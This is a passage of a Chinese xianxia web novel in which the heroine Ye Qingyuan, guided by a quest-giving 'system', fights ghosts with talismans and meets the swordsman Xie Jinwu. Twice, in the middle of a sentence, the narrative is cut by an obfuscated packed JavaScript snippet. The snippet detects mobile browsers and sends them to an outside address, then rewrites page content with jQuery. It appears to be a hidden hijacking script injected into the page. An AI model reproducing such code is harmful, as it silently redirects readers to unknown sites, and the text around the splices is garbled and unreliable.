她推窗向外看去,窗外是浓稠的夜色,一轮弯月悬在天际,浓云堆叠,清辉骤减,院落里灰蒙蒙的,连花树都失了颜色。 看来非常不对劲。 “外面现在是什么情况?” 丫鬟的心里也有些惧怕,压抑着声线的颤抖努力描述午后所见:“府里来了好多人,都穿着一样的衣服……江小姐也在里头。听他们的话似乎是要去山顶摆阵什么的……” 摆阵? 叶清圆垂眸凝视指尖捏住的明黄符纸,端详半秒,尚未来得及思考,脑海中响起“叮!”的一声。 ——“任务发布:今夜百鬼作乱,导致百姓伤亡、住宅毁损,请宿主立刻动身前去降妖。” 叶清圆小鸡啄米般点头,这种关乎百姓安危的事情,即使没有系统督促,身为二十一世纪新青年,她也会毫不犹豫去做的。 她挥退了丫鬟,两指捏起那道明黄符纸贴身放好。思索一瞬后,又从抽屉里取出几张符纸,提起笔,沾满朱砂,凭借原主的记忆勉强画了几道符上去。 原主毕竟是不务正业,对符箓从来不上心,这些符咒的图案也记得颠倒混乱。待会儿到底能发挥多大威力,暂不可知。 夜色微凉,溶溶的雾气笼罩住庭院的花树。 叶清圆拢了拢大氅,放轻足步,猫一般踩过青石小径,裙带袍角旋出细碎的风。 她尽力躲在阴影处,视线越过葱茏的花木,竟看到院里竟有不少持刀之人在巡视,这在一个商贾之家里着实是罕见的。 叶清圆躲避过府中的侍卫,借着不甚明朗的月色一路溜到了东院的院墙下方。 叶府的院墙修得很高,墙面又平滑,院外更是种满了月季。若是翻墙而出,那么她今日必见血无疑。 叶清圆自袖中取出符纸,借着濛濛的月色艰难辨认出一张穿山透壁符,凝思半秒后以手指将之抵在墙面,同时口中轻声念道: “软如杨花,薄如纸叶,吾剑一指,急速开越!”① 话音刚落,冷硬的墙面忽地幻化出淡淡金光。她尝试着探出手去,莹白的手指点了点墙面,视觉上看是已然触到砖石,可实则她只觉一阵微凉,仿若有细微的气流吹送。 想来这道符纸是画对了,原身还没到无可救药的地步,叶清圆暗自比了个赞,抬步越过院墙。 她的裙角甫一出墙,那团金光骤然暗淡了下去,明黄符纸随即化作一阵飞灰,散入晚风。 墙壁也恢复冷硬。 长街阴森,雾气笼罩,叶清圆绕过月季花丛,站在长街上放远目光,赫然发觉,这叶府内外竟像是两方天地。 院内一派祥和安稳,院外长街的雾却浓重得已将月色全部遮掩,阴冷的风中时不时传来幽幽的叹息声。 想来是叶肃为了护佑府中人的安稳,特意设了结界。 叶清圆随身携带着叶肃的护身符,这些鬼影虽不敢伤害她,却千方百计地要近身。风中的叹息声含着无限的哀怨凄婉,潮湿的冷雾直往叶清圆的耳朵里钻,阴气仿若浸着寒冰吹入她的脑袋。叶清圆生平首次经历这种场面,吓得背脊僵直,一双大眼瞪得溜圆。 她双手捂住耳朵,朝着雾气浓重的地方迈开脚步。 既然任务是拯救被冤魂缠上的百姓,那么作为发布任务的系统,就没有一点表示吗?比如,送一件趁手的道具什么的? 她抬手擦了擦额头上冒出的冷汗,忍不住开始在心里质问系统:“真的忍心让我空手去救人吗??这真的不是眼睁睁看着我去送死吗??” 系统高冷装死,不仅忍心,而且狠心。 叶清圆欲哭无泪。 今夜百鬼作乱,而生人的躯壳是它们梦寐所求,对这些游荡的孤魂野鬼而言有着致命的吸引力。阴魂出行,聚阴成雾,雾气越重的地方,阴魂也就越多。 而那里,很有可能是百姓所在之处。 脚步声回荡在空荡幽寂的长街,越向前走,那阴雾浓重得似乎有了实体,街旁的榆树都被阴风撞得哗哗作响。正当叶清圆一筹莫展之际,身后忽地吹来一阵冷风,将那徘徊萦绕的鬼雾冲散不少。随即,她的肩头忽地一重,似被人从身后拍了一下。 这种时刻被“人”从身后拍肩,可谓是惊悚至极。叶清圆脸色刷得白了,额头冷汗直冒,手中捏紧了符纸,酝酿着只要一回身,立刻将这道符拍到鬼魂脸上,先拍它个魂飞魄散。 还未出手,皎洁的月光将那道雾气的影子投在她身前的青砖上,那道雾气浓得仿佛有了实体,缓缓凝聚为一道身影,浮荡在她身前三步远的地方。 这道身影面目模糊,唯有佝偻的背与斑白的发髻堪堪显出是个老婆婆的模样。叶清圆的一颗心提到了嗓子眼,手中仍然举着符纸,却见这位老婆婆根本不怕,只慢慢抬起手,随后手掌并拢,向叶清圆行了一个礼。 俨然是家中仆妇拜见姑娘的礼节。 叶清圆不禁有些疑惑,莫名其妙。这鬼影是在搞什么?莫非它生前也是叶府的人? 她与原身的记忆融合得不充足,对叶府之事还是一知半解,除却贴身丫鬟外,实在不记得府里都有什么人。 老婆婆对叶清圆的冷漠与防备没有任何反应,只是呆滞地伸出一根手指,袖口一抖,指尖点向了她身后的阴暗小巷。 叶清圆随之望去。 在她的目光触及浓雾的一刹那,雾气瞬时如流水般散开,风中的哭嚎呜咽声似乎也顿住。 朦胧月色下,巷子的深处隐隐有声,仔细听来,竟像是有位姑娘在轻声地抽泣。 那哭声细碎地颤抖着,充满了压抑与恐惧。 6. 第 6 章 雾气越来越重了。 浓雾凝结成雨珠,沿着屋檐滴落下来,打在廊檐下冰冷的青石台阶上。 远处传来钟声回荡,悠远沉重,带着凝结的肃杀之气,连浓雾与月色似也被荡出涟漪。屋檐下,老人闭上双目,神情肃穆悲悯,似乎有赴死的决心。挽着双髻的小女孩却睁大双眼,瑟缩在她的怀中,惊恐地盯着巷子里飘荡的鬼魂。 女孩恐惧到了极点,自牙关中颤抖出声:“姥姥……” “嘘……不要出声。” “七月半啊……钟声响,鬼门大开。”老人沙哑的声音自头顶传来,粗粝的手心抚摸她的额发,“闭上眼睛,该睡觉啦。” 这分明未到七月,为何她会看到如此多的鬼魂? 女孩的脸色煞白,喘不过气,仿佛被一只无形的手扼住了喉咙。如何能睡!她分明看见,那浓重的雾气中,是数十道手牵着手的黑影,连成一道半圆,恍惚、缓慢地要将她们包围! 她的脑海中如潮水般浮现起姥姥讲过的故事:那些被车马踩踏而死的人啊,最是心怀怨恨与不甘。他们化作冤魂,却不肯轮回,终日手牵着手,拦在路的中央,只要有生人出现,他们就会一拥而上,吞噬掉那人的心魂,让那人代替自己,终日游荡在路边,直到下一个替身的出现! 如今,她也要成为故事里的那个倒霉蛋,去给一个鬼魂做替身了吗? 有没有人来救救她! 女孩不甘地咬紧牙关,身体却在恐惧中僵住不得动弹。眼见得那拦路鬼越来越近,浓雾中甚至瞧见他们血肉模糊的脸与扭曲的关节。 两行泪水自她的脸上滑落。那拦路鬼嗅到了生人身上的芬芳气息,不由得露出了贪婪而狰狞的微笑,口中鲜血登时如水般滴落。 僵硬泛着青白裂痕的手臂自浓雾中探出,分明是个死人,掌腕却在一瞬间变得那么灵活,势要掐住她的细弱的脖颈。满是浓雾的晚风裹挟着腥臭的气息扑面而来,女孩大叫着闭上双眼。 “啊——!!” 意想中的剧痛并没有到来,耳边只听得“轰!”的一声爆响,泛着血腥的恶臭在一瞬间随风散去。 浓雾之中,一道窈窕身影端立,火花炸开,如万道金光,在那一瞬间照清了来人莹白清润的面容。 叶清圆两指并拢,指尖隔空冲着那一串拦路鬼们点去,“敕!”字一出,那道五百蛮雷符倏然飞去,在触及浓雾的瞬间,将那拉手的鬼魂炸成了一串烟花,顺便将这一条小巷的鬼雾都清了个干干净净。 皎洁的月辉再度铺满青石道。 “好大的威力……”她收回手,神色震惊,“不愧是雷符,一符杀百鬼。” 这道五百蛮雷符的画法原身并未掌握,还是叶清圆悄悄翻出符箓书,自己添了两笔上去画成的。她尚且不能做到画符时的所谓“心思澄明、妄念悉除”,兴许只发挥了三成威力,就足够将这条巷子的阴魂清除。难以想象若是由高人亲自书符,该有多么恐怖的杀伤力。 屋檐下,女孩的眼瞳中一簇烈焰尚未熄灭。张着嘴巴惊魂未定,一只细嫩的手却已抚在她的肩头。 叶清圆俯下身来,周身回绕暖风,柔声道:“可以自己站起来吗?” 女孩目光有些失焦,好半天才看清来人,她泪眼朦胧地点点头,搀扶老婆婆起身,祖孙二人脸色俱是惊魂未定的惨白。 “二位怎么会来到这里?”叶清圆放眼看了看四周,此是一道狭窄冷清的后巷,并非居住之地,平日里连更夫都懒得踏足一步,到了夜晚更不会有百姓来此。 她补充了一句:“是自己走过来的吗?” 老婆婆似乎是吓住了,枯败着脸一言不发。那女孩睁大了惊恐的双眼,慌张摇头:“不、不是。” 深更半夜不在住宅中歇息,却来此闹鬼的长街游荡,既然不是自己步行而来。那就是有东西从中捣乱了。 叶清圆摸了摸女孩的发顶,放轻了声音:“可以告诉我怎么回事吗?” 她的声音清脆悦耳,却语调轻轻,带着一种奇异的温柔。女孩的心绪很快被抚平,小声道:“我们的家不在这里呀,明明我们那时都要睡觉了,外头街上却突然传来铃声…… “那铃声很轻,我的心却开始突突地跳,好像有一柄锤子在敲。我那时根本控制不住自己,疯了一样非要推开窗,然后,然后我就看见……” 叶清圆的手心轻轻按在她的肩上,眼中也流露出安慰的温和之意。 这仍无法给予女孩鼓励,她的目中又开始现出深深的惧怕:“有个好奇怪的人,手里拿着一根绑了铃铛的拐杖,慢慢地在前头走着。他身后跟了好多……好多的人。可是那些人,全都没有脚!” 银辉清减,雾蒙满巷,她慌忙间“啊”地惊叫出声,两只手慌忙死死捂住嘴巴。 为首摇铃的那人闻声站定,拐杖“笃”地一击在地,铜铃发出清脆响声,紧接着倏然顿住,唯有铜舌上悬系的惨白符纸在浓雾中轻摇慢晃,犹如引魂的白幡。 那人僵硬的头颅循声咔咔转过来,一双全是白的眼盯死了她,在嗅到那股鲜美的活人气息之后,鲜红的唇角缓缓勾起,露出一个诡异的笑。 视线很快被黑暗吞噬,再一睁眼,二人便已经到了这条小巷的角落,数十只拦路鬼嘶吼着、挣扎着,争先恐后要来占身。 女孩不敢再回忆,满脸痛苦地抱紧了老婆婆。 叶清圆若有所思。 所谓铜铃,可以粗略地分为两类:其一是作为法器的三清铃,呈山字型,上刻符咒,多用来聚魂凝神、趋吉避凶; 其二便是引魂铃,“接引”阴魂邪祟入鬼门,铜铃上所刻道符皆是堪称禁术的霸道蛮横,阴魂一旦被控,不得有任何反抗,否则当即魂飞魄散不入轮回。因此这种铜铃也极度危险、难以控制,向来由渡亡世家白氏所持且严密监控,寻常人根本无缘得见。 既然手持拐杖那人身后跟了亡魂,那不必说,此人所持便是引魂铃。 小小的初阳镇究竟藏着什么东西,竟连引魂铃都出动了? 叶清圆问道:“摇铃的那个人只是望了你一眼,是吗?” “……是,我都不清楚怎么回事,当时好像晕过去一样,什么都不知道了。再一睁眼,就来到了这里。”女孩快要哭出来,“我好怕,我很没用是不是?可是当时我根本控制不住自己……” “妹妹,你很勇敢。”叶清圆安抚住她,露出一抹微笑,“那么恐怖的场面,一般人看到恐怕都要吓死了,可是你还能完整地讲清楚前因后果,说明你是勇敢冷静的小姑娘呀。不要妄自菲薄嘛。” 她笑得温和,唇边漾出梨涡:“等一下我送你们回去,今晚就大门紧闭,不论听到什么声音都不要出来,好不好?” 女孩怔了一瞬,眼眶微湿,用力点头:“好!” 幸好途中没有再遇到什么岔子,叶清圆亲眼看着女孩与老婆婆关好了木门,才长舒一口气。 晚风吹来浓雾的潮气与草木清新,她在铺满月光的狭窄弄堂站定一瞬,目光穿过呜咽的长风与摇曳的花影,眉心一蹙。她忽地意识到,自遇到女孩之后,再也没有见到游荡的鬼魂了。 女孩说,那手持拐杖的人摇着铜铃,足步轻快,走街串巷,身后跟着数不清的阴魂。 他将魂魄都召集到一处,是想做什么? 他现在身在何处? 甚至……“他”究竟是人是鬼? 寂寥的狭窄小巷,一刹的天地寂静之后,树影霎时纷乱,平地忽起狂风! 酒楼悬挂的两盏灯笼骤然熄灭,酒旗迎风猎猎作响,冷风裹挟着满地枯枝败叶席卷而来,扬起满巷烟尘。 叶清圆裹紧了身上大氅,莹白的手指拂过毛领,忽地一顿。 回忆如潮水般涌来,崎岖的山道,泥泞道旁被暴雨摧残的、铺满地面的艳红山茶,像是流淌了满地的烈火。叶府院落中蒙蒙的一层白霜,她身上裹着的毛领大氅。 以及如今,她触目所及的,满地的蜷曲 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14445918|154043||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 枯叶、冷冷月光。 此时,分明是惊蛰。 为何各处的景象如此错乱? “铃!——” 清脆空灵的铜铃声从四面八方涌来,似有加持符咒的威力,短短三声响过,登时激得叶清圆头脑一阵晕眩。霎时眼前天旋地转,两旁枯木、楼阁飞速向后退去,喉间涌上一股腥甜,险些吐出血来。 引魂铃! 脑海深处传来尖锐的疼痛,嘶吼、悲泣、谩骂的声音争先恐后地钻入她的耳朵,沙哑幽咽的嗓音下是掩藏不住的愤懑与绝望崩溃,牵染到她的心绪也随之不住震颤。 “叶肃这个利欲熏心的混蛋,竟要拘留我们这些冤死的阴魂为他铸阵!他这么丧尽天良,合该被剜心废骨、千刀万剐而死!” “我已被你们驱策十五年,究竟何时才肯放我入轮回!” “呜呜呜呜,什么时候才肯放过我,我好冤啊!” “再不入轮回,我们会被消籍从而魂飞魄散的!” …… 铸阵?是山中宅院那个阵法吗? 叶肃此时就在宅院里,与那些江氏子弟一起。听丫鬟说,他们确实是为了阵法一事而忙碌。 那这些阴魂的作用呢,是为了阵法添砖加瓦? 这与生人献祭又有何区别? 叶清圆苍白的手指细微地颤抖起来,瞬时冷汗涔涔,恐慌犹如一只手掌扼住她的喉咙。 她无意识地退后一步,将枯萎蜷曲的桐叶踩得粉碎,脆响在沉寂的小巷中宛如惊雷。 并非是对直面阴魂感到恐惧,而是那些阴魂“告诉”她的信息,叫她哑然失声。 “若非叶肃,这些阴魂何至于久久无法转世?初阳镇又何至于闹出这许多邪事?” 那一道阴森的声音从头顶天灵传来,充满哀怨地叹息着,“听到了吗?都是你们叶氏的错啊。” 昏沉恍惚间,叶清圆的脑海中转过一个念头。 所以,叶肃名义上在此镇守、维护百姓生活安稳,实则却是借机“圈禁”阴魂,为山中阵法献祭。 “叮!恭喜宿主触发支线任务一关键情节——初阳镇的交易!请继续探索!” 混沌的灵识里,系统这一声清锐的提示音叫她心思一惊。 果真如此。 但如今宅院中阵法封禁已被谢尽芜解除,本命珠又在她的身上,叶肃与江氏族人此时上山,为了什么? 空远清悠的铃声再度于潮湿的晚风中荡开,寂静的长街里,忽地传来一阵颇为熟悉的笑声。 叶清圆顿时如被定住了一般,缓缓回身。月光泼洒的尽头,桐枝掩映下,青石砖道上站着一老一少。 少女脸色惨白如纸,弯起的唇却鲜红如血。她立在清辉之下,砖道上却并无影子,笑声嘶哑难听,像是利铁刮擦。 她轻声笑:“姐姐,你中计了。” 话音落下,身旁老婆婆一直阴暗无神的双眸忽地睁开,双指探出如利剑,直直向叶清圆纤细的脖颈掐来! 叶清圆微不可察地叹了口气,手指掐印,唇齿默念法诀,随后指尖一点,“敕!”那老婆婆顿时如遭锤击,一声大叫出口,连连退后。 少女双目通红似要滴血,竟隐隐是化作厉鬼之兆,长袖无风自舞,正欲攻来。叶清圆无奈,试图唤回她的意识:“姑娘,没用的,我方才救你时已在你的肩头拍了一张道符,你若此时收手,我一定会想办法送你入轮回……” 忽地,一阵清锐剑鸣响彻长街! 满街桐花登时翻卷如云,利剑出鞘,裹挟着冰雪凌冽的锋锐之气,眨眼不及间将两只鬼魂刺了个对穿! 刺耳的尖锐爆鸣炸在耳边,叶清圆痛苦地捂住耳朵。 再睁眼时,两只鬼魂已然随风消逝,烧毁一半的道符缓缓飘落在地面。 清冽的月色下,唯有一道清瘦身影秀挺而立。 他手中长剑澄凝如冰,雪亮的剑面映出一双殷润乌黑的眼瞳。 谢尽芜。 7. 第 7 章 耳鸣声终于消弭,叶清圆平复气息,望向长街中被桐花簇拥的谢尽芜。 她没想到会在此地见到他,轻声道:“谢公子。” 谢尽芜漫不经心地瞥她一眼,“你来此做什么?” 或许是在这漫漫黑夜里终于遇到了熟人,叶清圆竟觉出一丝心安,她抿唇笑着,眼瞳亮亮的,带着恰到好处的灵动:“来除祟呀,谢公子也是吗?真是巧,我们并肩作战,可好?” 谢尽芜极轻地哼笑一声,似乎在嘲讽她的天真与弱小:“你这样没有防备,能活得过今晚吗?” “我防备心很强的,方才那只是我的计划而已。我早看出她们是拦路鬼,只因不甘与执念太重才有化为厉鬼的征兆,”叶清圆据理力争,扬起的下巴带着倔强,“我这么做也只是想给她们一个机会,重入轮回呀。” 谢尽芜望她一眼,他立在桐树的阴影中,眉目恍惚,叫人辨不清神色,“你倒是好心。可惜,我已让它们魂飞魄散。” 是啊,所以说你出手无情,是个冷漠无情的反派。 “叮!攻略对象出场,请宿主及时消除谢尽芜的戒心。” 系统突然发布任务,叶清圆唇角的笑容短暂地僵住了。 她转过身,借着清亮的月色看向一旁的谢尽芜。 谢尽芜微垂着头,正在慢条斯理地拭剑。剑光凛凛、似有冰雪寒意。他眉梢斜飞直入鬓角,一双漆黑眼瞳在澄澈剑光的映照下显出几分肃杀。 叶清圆悄悄看他挺直的鼻梁与抿成一线的嘴唇,腹诽道:一看就是不好招惹的面相。 无奈了半秒以后,她很轻声地开口:“消除谢尽芜的戒心,是指我被他一剑杀死,他对一具尸体没有戒心吗?” 系统隐去了莹莹蓝光,对她的冷笑话并不捧场。 晚风中的呼号声逐渐止息,叶清圆抬起手捂了捂被风吹得发凉的脸颊,轻声道:“谢公子……” 她的话还没有说完,努力攒出来的一点笑意就顿在嘴角。 冷意从脖颈丝丝缕缕地蔓延开来,冰冷的雪亮剑锋抵住她的喉。 两人稍微错身站定,谢尽芜手持剑柄,剑锋的一端搭在叶清圆的肩头,剑尖斜斜,恰好刺在她喉管处细嫩的肌肤。 只需稍一用力,温暖的血滴便会沿着剑锋滑落。 谢尽芜侧着脸看她,淡红的唇角弯起来,漫不经心的笑意,似有些许嘲弄。他持剑如拈花,侧脸的线条是说不出的利落与干净,雪白的俊脸在清辉下有种蛊惑人心的美。 叶清圆睁大眼与他对视,眼里是掩饰不住的震惊,便听他淡声问道:“叶小姐向来养尊处优,怎么还懂得这些驱邪之术?” “那晚在山上,叶小姐分明是对此知之甚少的模样,怎么?”谢尽芜极轻地笑了一声,“难道是忽然开窍了?” 黑心反派!好心和你作伴,竟还用剑指着我! 果真是遭受过非人的折磨与虐待所造成的心理创伤,导致谢尽芜对谁都心怀戒备,从来以最大的恶意揣测别人——正常人谁能歪到“并肩作战也是别有用心”那里去? 叶清圆的眼睫微颤,鬓发因方才的忙乱而散落一缕。那柄剑搭在她的肩头,澄澈剑身映出她秾丽的眉眼,剑锋与拂动的碎发若即若离。 “谢公子,”她抬起眼眸,不闪不避地与他对视,“你这么想要本命珠,为何不直接一剑杀了我呢?” 脑海里忽地响起刺耳的警报声:“检测到危险言论!请宿主注意!” “我只是初阳镇里平平凡凡的一个姑娘,纵使祖上有除祟捉妖的血脉传承,而今也没落了。以谢公子的手段,若真的要杀我……” 叶清圆无视系统的疯狂警报声,扯出一抹温和的笑容,明晃晃地挑衅:“易如反掌。” 对付谢尽芜这样素来拐弯抹角给人下套的阴狠之人,就要把他心中所思直接挑明,乱他的阵脚。 谢尽芜的眉梢挑了挑,眼中显露出讶异的神色。 眼前的姑娘生了一张小脸,尖尖的下巴藏在毛领后,尤衬得那双眼亮得摄人心魄。脸颊与鼻尖冻得微红,唇角却漫出得逞的笑意。 他的剑锋只差一毫便能划破她的脖颈,她怎么还有胆量说这种话。 谢尽芜以往提剑杀戮时,若一时兴起,也会钝刀割肉一般将“猎物”折磨良久,饶有兴味地欣赏那份濒死挣扎时的绝望与极度恐惧。 可眼前的人却叫他始料不及。 她分明是被利剑逼命的人,为何望向自己的眼神里却没有分毫害怕? 甚至盛满了明晃晃的笑意,连眉眼都两弯。 他不是没有见过这样的笑,可凭借他在这世间的生存经验来说,这般笑意之后,通常会藏着深不见底的阴狠。 就像曾经施舍他一碗红豆冰酪的那位少爷。 谢尽芜眉目压低,心生警惕。 却见叶清圆伸出两指,指尖在剑锋上轻轻一点,“叮!”的一声,指甲与剑锋相触的清亮声散开在濛濛月夜,惊飞了檐角栖息的寒鸦。 她的指尖用力,就这么推开了横在颈间的长剑,扬眉笑道:“我不知晓谢公子要本命珠有何用,不过既然谢公子宁肯忍受痛苦至今,也并不伤害我半分,是不是说明谢公子其实是一个很善良的人呢?” 谢尽芜的双眼微微睁大了。皎洁的月夜下,霜寒雾浓,他的脸颊与唇色是失血般的微微苍白。 她怎么知道自己在忍痛? 在他琢磨着如何取回本命珠之时,她也在观察着自己吗? 叶清圆勉强压抑住心里的害怕,直到此刻,她的手指还在因触及冷凝剑锋而轻轻颤抖着。 她不是真的无所畏惧。 她的余光瞧见谢尽芜将长剑垂了下去,一颗心终于稍稍落下去:“啊,谢公子真好。” 谢尽芜满心的防备与杀意莫名消散了不少,他愣了两秒。 兴许是痛楚一阵阵攥住他的心脏,叫他丢下了以往的狠心与赶尽杀绝。他竟然觉得,眼前之人不杀似乎也可以。 谢尽芜颇为不情愿地“嗯”了一声。 溶溶的月光从他头顶倾洒而下,水一般流淌过深邃的眉眼与高挺鼻梁,蜿蜒没入衣领。 但是这样一来,好像自己被她哄了一样。 谢尽芜垂下眼睫,嘴唇抿成一线,又补充一句,算是微弱的反抗:“还可以吧。” 叶清圆立刻顺势恭维道:“怎么能是‘还可以’呢?谢公子不要妄自菲薄,这么危险的夜里,谢公子不顾自身安危在此持剑诛邪,若这也只是‘还可以’的话,那么全天下恐怕都没什么好人了吧!” 如何在不得罪人的情况下达到目的、扭转乾坤?当然是嘴巴放甜一点,姿态放软一点,叶清圆从来都深谙此道,哄一个没见过世面的谢尽芜简直太容易了。 谢尽芜对她的话不置可否,收回目光道:“南边尚有妖鬼作乱,不可再耽误。” ……暂时对她放下戒心了? 叶清圆低下头,小脸埋进大氅的毛领里,无声地笑了起来,又道:“好,正巧我也要去,谢公子可愿与我同行吗?” 谢尽芜收剑入鞘,薄唇抿了一抿,也未瞧她,只是转身离开。 她在后面轻笑:“不说话我就当你是同意了。” 幽幽的呜咽自长街尽头传来,叶清圆拢紧了大氅,小跑着跟上。 濛濛阴雾弥漫在街道,越向南走,身旁飘忽而过的鬼影越多起来,浸了阴气的冷风拂得叶清圆一个激灵。 这不是纯粹的寒冷,而是浸入四肢百骸的彻骨阴冷。但凡是个身弱的,此刻保不齐就被一波带走。纵使叶清圆有她爹亲手绘制的护身符,此时也有些头晕难受了,步伐也虚浮起来。 谢尽芜随手挥剑斩去邪祟,大袖翻飞,剑意如雪光流转,阴魂厉鬼随之消散。不经意向 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14445919|154043||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 身后瞥了一眼,眼角余光却见那位大小姐抱着双臂,脸颊冻得苍白,一副冷到不行的模样。 他站定在前方的青砖地,思索半秒,一振袍袖,掌心凭空幻化出一盏明灯。 他稍微回过身,将灯盏递给叶清圆,目光却定在某个虚空,似乎不太想与她对视,淡声道:“前方阴雾浓重,难以辨清道路,劳烦叶小姐了。” 阴冷昏暗的弄堂中倏然亮起一簇灯盏,明暖的光线照清她的眉目轮廓,叶清圆怔住了。 上一秒还提剑要割她脖颈,此刻便要自己给她提灯照明,这大反派还真是不客气啊。 谢尽芜警惕着周遭的情况,并不看她。他的手就这么顿在半空,五指虚拢住灯烛,莹莹的光自指缝流淌出来,照清他修长的手指和圆润整齐的指甲。 他依旧微垂着眼帘,浓秀的眉睫掩盖住了眼中的情绪。 叶清圆露出礼貌的微笑,从他手里接过灯烛,“好,我来提灯照明,谢公子不必客气。” 在她的手指触及灯烛的刹那,谢尽芜适时地收回指尖,颇有礼节地不与她相触。 奈何叶清圆没想太多,她本就冷得手指有些不听使唤,接过灯盏时略长的指尖不经意在他掌心划过。分明是冰冷的指尖,谢尽芜顿时如被烫到一般收回手,眉心一蹙,不动声色地避开半步,似乎连这样轻微的接触都感到不自在。 叶清圆手持灯盏,为了给谢尽芜照清道路,特意走在了他的右前方。 夜色昏沉,她警惕着周围偶尔飘荡的阴魂,浓雾虽重,风中的幽咽声却莫名淡去不少,仿佛是在逃避着什么。难道是谢尽芜方才的剑意,吓退了这些邪祟?叶清圆不及细思,足步忽地一顿—— 小巷尽头的黑暗中,竟隐隐传来一阵铜铃摇动的声响。 这铃声空灵而悠长,忽远忽近,如涟漪般自四面八方幽幽荡开,声响绵长,却颇为尖利,仿佛是长指甲狠狠刮擦黑板一般。 摇铃之人! 谢尽芜神情平静,长剑一挑,划开浓雾,赫然竟见前方道旁立着一道身影。 那人身穿深青长袍,腰背挺直,双鬓微白,袖口在朦胧的月光下微微泛白,像是穿太多次洗褪了色。他手中捧一本古旧的书籍,纸叶泛黄翻卷,墨迹模糊。腰间则别了一杆戒尺,戒尺上刻“劝学”二字。 是个教书先生的模样。 他收起铜铃入袖,微笑着转身踱来。 叶清圆飞快打量他一眼。 这人行走时步伐说不出的诡异恐怖,膝盖关节像是生了锈,丝毫不打弯,笃笃敲击在地面,像是棒槌发出的沉闷响声。可若说僵硬呢,他持戒尺的手却灵活得很,指尖敲击,一派悠闲自若。面上笑容也阴森,宛如是纸扎的人,可他的裸露在外的脸颊肌肉又细腻得可以看清纹理,两鬓霜白,不似作伪。 总而言之,处处充满着不和谐。 渡亡世家白氏崇尚青白,因此族中人不论男女,皆穿白底描金长袍,领口绣制青鸾,男子发束青木冠,女子则挽青木发簪,一派浅淡疏离。唯腰间青玉带的纹样,因地位、血脉与修为的高低而有细微的差别。 同时,白氏因多年掌握各类渡亡禁术,为防止外传泄露,向来禁止子弟随意外出。因此,四大世家中,渡亡世家之人虽并非武力最强,却是最难得见到一面的,甚至可以说处于半隐退的状态。 眼前之人,样貌衣饰都不符合白氏的规制,又违反了门规,蛰伏在初阳镇当个教书先生。他的身份,着实有些疑点。 那教书先生扫来一眼,认出叶清圆,阴恻恻笑道:“你没死啊,真可惜。” 他身上的腐臭腥气随风送来,叶清圆颇为嫌弃地抬袖捂住口鼻:“你拘了这么多魂,可有遵照规矩将他们送入鬼门?” “鬼门?”教书先生笑了一声,“什么话,我听不懂。这些阴魂不是你们叶家指明要的么,怎么如今反倒来问我?” 8. 第 8 章 果然,这教书先生和叶肃达成了某种交易。 叶清圆点点头:“是,所以你此时不该将阴魂押去山中古宅祭阵吗?还在这里耽误什么?” 她的话音刚落,谢尽芜眉梢微微一挑,似乎对她的坦然感到讶异。 教书先生从喉咙发出笑声,“你们废掉了我的两只阴魂,难道不该自己填补上这个空缺吗?!” 他将掌中古籍翻过一页,垂眸低声念诀,眼神也蓦地狠毒,手腕一翻,霎时狂风大作,飘荡在空中的浓雾凝成雨滴,满街枯枝碎叶哗啦啦擦过青石地面,泛黄的纸张骤然脱离书籍,化作万千利剑,直直向叶清圆的喉咙刺来! 叶清圆毫不迟疑拈起符咒去挡,利剑将要触及她的袖口的瞬间,谢尽芜手腕微转,长剑裹挟着锐利的杀意,自下而上将万千剑气击得粉碎! 那教书先生来不及反应,只一眨眼间,冰冷的剑锋已然刺破他的粗布长袍,抵在了他的心口。 谢尽芜神情平静,眉梢微挑,语调中带着一股莫名的嘲讽:“你也是画师派来的?” 叶清圆睁大了双眼。 在原著的第二个副本中,“画师”顾雪庭可谓是推动剧情发展的重要角色,此人嗜杀残忍,性情狂妄,给副本增加了不少难度。 她在看原著时只顾着惋惜江云初和许明竹的爱恨纠葛,涉及到配角的戏份基本是一目十行而过,没想到“画师”这么早就出现过。 不等教书先生开口,谢尽芜又道:“他许给了你多少好处?十年阳寿、还是投个好胎的机会?” 月光下,教书先生的唇角绽开一抹扭曲的笑。 他这一笑不打紧,僵硬的脸颊肉挤压,顿时如裂开的旱地,同时却有白色的粉末扑簌簌往下掉,将他领口的青衫都染了白。 先生笑裂了。 叶清圆不由得感到一阵恶寒,借着灯笼的光与月光,她清楚地瞧见,这教书先生脸上原本的皮肉早已干裂枯败,笑时道道褶皱泛起,如同纸扎而成,如今之所以看不出本貌,竟是因糊了厚厚的一层粉,掩盖住那龟裂的皮肤。 她终于知晓了,教书先生的袖口泛白,未必都是先生清贫,而是先生脸上掉粉。 谢尽芜自始至终都与他保持着一段距离,想必也是嫌弃他是具早该入土的尸体。 那教书先生眼中没有丝毫惧怕之意,嗓音嘶哑道:“阳寿算什么?为君晓命,万死不辞!” 莫非这事还牵扯到朝廷吗? 这个世界究竟是什么权力设定,她看原书时也是一知半解,原作者只提到拢共有三十余个修真世家,其中以辟兵、渡真、渡亡、点灵四大世家为首,都为君王晓命,但主角团的主线却刻意回避这些内容,似乎有意在淡化朝廷势力的存在。 毕竟本质是玄幻爽文嘛,打怪升级复仇乱杀已经够看,再牵入权力斗争就复杂了。 转眼看谢尽芜,他那张脸从侧面看依旧是优雅漂亮的,因身形挺拔,看人时眼睫微垂,笑起来便颇有几分讥嘲与睥睨:“一个被逐出师门的弃徒,便叫你心甘情愿俯首称臣了?” 